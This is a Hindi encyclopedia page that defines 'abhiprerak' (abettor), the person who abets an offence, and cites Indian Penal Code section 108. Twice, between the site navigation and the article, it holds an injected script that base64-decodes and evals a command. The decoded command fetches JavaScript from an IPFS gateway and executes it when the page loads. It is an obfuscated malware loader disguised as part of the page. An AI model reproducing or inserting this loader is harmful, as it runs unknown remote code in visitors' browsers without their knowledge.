अभिप्रेरक

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चित्र:Tranfer-icon.png यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

लेख सूचना
अभिप्रेरक
पुस्तक नाम हिन्दी विश्वकोश खण्ड 1
पृष्ठ संख्या 178
भाषा हिन्दी देवनागरी
संपादक सुधाकर पाण्डेय
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण सन्‌ 1964 ईसवी
उपलब्ध भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी
लेख सम्पादक श्री श्रीकृष्ण अग्रवाल

अभिप्रेरक विधिप्रणाली का शब्द है जिसका तात्पर्य ऐसे व्यक्ति से है जो किसी अन्य व्यक्ति को कोई अपराध या ऐसे कार्य के लिए प्रोत्साहित करता है जो संपादित होने पर अपराध होता है। यह आवश्यक है कि वह दूसरा व्यक्ति विधि के समक्ष अपराध करने के योग्य हो तथा उसका उद्देश्य या मनोभाव अभिप्रेरक के उद्देश्य या मनोभाव के सदृश हो। अपराध के संपादन में योग देने के निर्मित्त किया गया कोई भी कार्य, चाहे वह अपराध के पूर्व किया गया हो अथवा बाद में, अपराध करने के तुल्य समझा जाता है। भारतीय दंडविधान में अभिप्रेरक तथा वास्तविक अपराधी को समान रूप से दंड दिया जाता है (भारतीय दंडविधान, धारा 108)।



टीका टिप्पणी और संदर्भ